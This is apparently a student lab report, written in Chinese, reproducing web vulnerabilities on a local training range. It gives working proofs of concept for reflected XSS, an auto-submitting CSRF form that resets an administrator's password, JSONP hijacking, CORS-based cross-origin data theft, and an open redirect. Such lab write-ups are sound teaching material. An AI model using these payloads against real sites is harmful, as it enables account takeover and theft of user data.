实验要求
漏洞环境:前端漏洞靶场环境——front(系统有两个用户: user1/user1 、admin1/admin1),要求提交实验报告
- 挖掘环境中的反射型XSS漏洞,(以弹框 test13 证明)
- 复现环境中的CSRF漏洞,设计表单,当管理员点击URL以后自动将自己的密码重置为:123456
- 复现环境中JSON Hijacking漏洞,在另一个网站(或本机另一个端口)获取用户信息
- 通过在服务器Web目录创建.htaccess文件,控制服务器响应头,实现CORS漏洞,在另一网站,接收HTML接口的用户信息。
- 挖掘环境中的URL跳转漏洞,构造请求,跳转到重邮官网
靶场搭建
进入靶场文件目录下输入docker-compose up -d
启动靶场,访问http://192.168.37.128:8983
即可
漏洞挖掘与复现
反射型XSS漏洞
使用用户名user1与密码user1登录
查看网站源码,发现参数name
处可能存在XSS漏洞
尝试构造PoC并发送,成功弹窗,证明存在反射型XSS漏洞
http://192.168.37.128:8983/front/info.php?name=<script>alert('test 13')</script>
|
CSRF漏洞
抓包查看用户点击修改密码时发送给服务器的数据包,可以看到新密码newpassword
和确认密码passwordrepeat
都是用POST传参
POST /front/info.php?name= HTTP/1.1 Host: 192.168.37.128:8983 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 38 Origin: http://192.168.37.128:8983 Sec-GPC: 1 Connection: close Referer: http://192.168.37.128:8983/front/info.php?name= Cookie: uid=dXNlcjE%3D; is_ad=1; PHPSESSID=ggoq5vok58252u9sdl3i043981 Upgrade-Insecure-Requests: 1
newpassword=user1&passwordrepeat=user1
|
开启攻击机的网络服务,在攻击机的www目录下建立一个html页面(192.168.137.1:8888/test.html
),构造修改密码功能表单,一旦受害者访问此页面,密码就会被改成123456
,构造表单如下
<form id="myform" method="post" action="http://192.168.37.128:8983/front/info.php?name="> <input type="hidden" name="newpassword" value= "123456"/> <input type="hidden" name="passwordrepeat" value= "123456"/> </form>
<script> var myform=document.getElementById("myform"); myform.submit(); </script>
|
使用无痕浏览模式打开新窗口模拟管理员登录后并”不小心”访问URL192.168.137.1:8888/test.html
以后,页面会自动提交事先构造的表单,这时密码已经被修改,用之前的密码admin1登录管理员显示登陆失败
使用修改后的密码123456可以成功登录admin1账号
JSON HiJacking漏洞
使用user1账号登录,发现返回敏感信息,可能存在Hijacking漏洞
构建PoC,将代码放入构建的web服务器目录下(http://192.168.137.1:8888/test.html
)
<script> function hijack(result) { alert(result); } </script> <script src="http://192.168.37.128/userdata.php?callback=hijack"></script>
|
使用admin1账户登录模拟管理员访问192.168.137.1:8888/test.html,但是页面返回null
如果web服务器构建在同一IP地址下,访问192.168.37.128/test.html
,查看响应头,可以查看到敏感信息
CORS漏洞
使用user1账户登录,点击个人信息html接口,返回敏感信息并且发现响应头存在Access-Control-Allow-Origin: *
,存在CORS漏洞
构建PoC,将代码放入构建的web服务器目录下(http://192.168.137.1:8888/test.html
)
<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','http://192.168.37.128:8983/front/cors.php',true); req.responseType="text"; function reqListener() { if (req.readyState === req.DONE) { if(req.status === 200) { document.write(req.responseText); } } } req.send(null); </script>
|
访问192.168.137.1:8888/test.html
,成功跨域获取敏感信息
URL跳转漏洞
使用user1账户登录,点击返回登录页
,使用burpsuite抓包,发现存在url跳转
将url改成www.cqupt.edu.cn
发现重定向到网站目录下
将url改写成//www.cqupt.edu.cn
,点击关注重定向
成功跳转到重邮官网